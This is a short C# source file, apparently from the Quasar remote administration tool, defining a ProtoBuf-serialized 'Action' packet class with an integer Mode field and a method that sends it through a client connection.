Quasar/Client/Core/Packets/ServerPackets/Action.cs

23 lines
412 B
C#

using ProtoBuf;
namespace xClient.Core.Packets.ServerPackets
{
[ProtoContract]
public class Action : IPacket
{
[ProtoMember(1)]
public int Mode { get; set; }
public Action() { }
public Action(int mode)
{
this.Mode = mode;
}
public void Execute(Client client)
{
client.Send<Action>(this);
}
}
}